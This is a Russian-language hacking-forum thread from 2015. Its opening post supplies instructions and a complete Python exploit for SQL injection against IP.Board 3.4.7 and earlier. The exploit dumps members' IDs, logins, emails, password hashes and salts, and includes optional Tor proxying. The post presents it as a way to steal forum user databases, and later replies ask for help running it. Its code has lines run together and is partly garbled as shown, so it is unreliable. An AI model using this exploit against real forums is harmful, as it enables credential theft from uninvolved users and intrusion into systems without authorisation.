Загрузка...

Взлом базы-данных | IPB 3.4.7 и меньше.

Тема в разделе Веб уязвимости создана пользователем Adeptt_inactive 9 апр 2015. 3700 просмотров

Загрузка...
  1. Adeptt_inactive
    Adeptt_inactive Автор темы 9 апр 2015 12 11 мар 2015
    С помощью приведенного ниже эксплойта проводим sql инъекцию на форумах IPB <=3.4.7 и добываем базу пользователей, а именно:
    - ид юзера, логин, мыло, пароль в зашифрованном виде (для тех кто не знает, хэш на IPB следующего вида: md5(md5($salt).md5($pass)), соль.

    Что же нужно делать?
    - Ищем сервер с форумом на IP.Board
    - Запускаем скрипт, предварительно вписав адрес атакуемого форума, с помощью python 2 (скачать с офф сайта: download с помощью командной строки и команды вида:
     


    c:pythonpython.exe c:exploit.py

    Сам Эксплоит:
     

    Код

    #!/usr/bin/env python
    # Sunday, November 09, 2014 - secthrowaway () safe-mail net
    # IP.Board <= 3.4.7 SQLi (blind, error based);
    # you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable
    url = 'http://адрес_форума/' ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
    import sys, re
    # <socks> - http://sourceforge.net/projects/socksipy/
    #import socks, socket
    #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
    #socket.socket = socks.socksocket
    # </socks>
    import urllib2, urllib

    def inject(sql):
    try: urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!="'" and extractvalue(1,concat(0x3a,(%s)))#'' % sql), headers={"User-agent": ua})) except urllib2.HTTPError, e:
    if e.code == 503: data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read() txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)
    if txt is not None:
    return txt.group(1) sys.exit('Error [3], received unexpected data:n%s' % data) sys.exit('Error [1]') sys.exit('Error [2]')
    def get(name, table, num): sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num) s = int(inject('LENGTH((%s))' % sqli))
    if s < 31:
    return inject(sqli)
    else: r = '' for i in range(1, s+1, 31): r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
    return r

    n = inject('SELECT COUNT(*) FROM members')
    print '* Found %s users' % n for j in range(int(n)):
    print get('member_id', 'members', j)
    print get('name', 'members', j)
    print get('email', 'members', j)
    print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j)
    print '----------------' 
     
  2. Saw77777
    Saw77777 16 май 2015 Заблокирован(а) 49 3 май 2015
    Можно чуть по подробнее?
     
  3. RaysMorgan
    Хорошо, что я обновился до 4.0 :rolleyes:
     
  4. kodak123
    kodak123 29 июн 2015 0 11 май 2015
    а куда это вписывать в python ?
     
  5. coxamuzom
    coxamuzom 23 сен 2015 Заблокирован(а) 0 23 сен 2015
    Да, в питон
     
  6. apteryx
    apteryx 30 янв 2016 1 30 янв 2016
    работает?
     
  7. apteryx
    apteryx 30 янв 2016 1 30 янв 2016
    у меня какая-то чепуха с WNDWS 10
     
  8. SLASH_inactive32779
    SLASH_inactive32779 31 янв 2016 Заблокирован(а) 98 26 янв 2016
    У вас разве не XenForo?
     
  9. TheStn666
    TheStn666 31 янв 2016 Заблокирован(а) 179 2 июл 2013
    Ребят, скиньте готовый скрипт :D
    Отблагодарю )
     
Top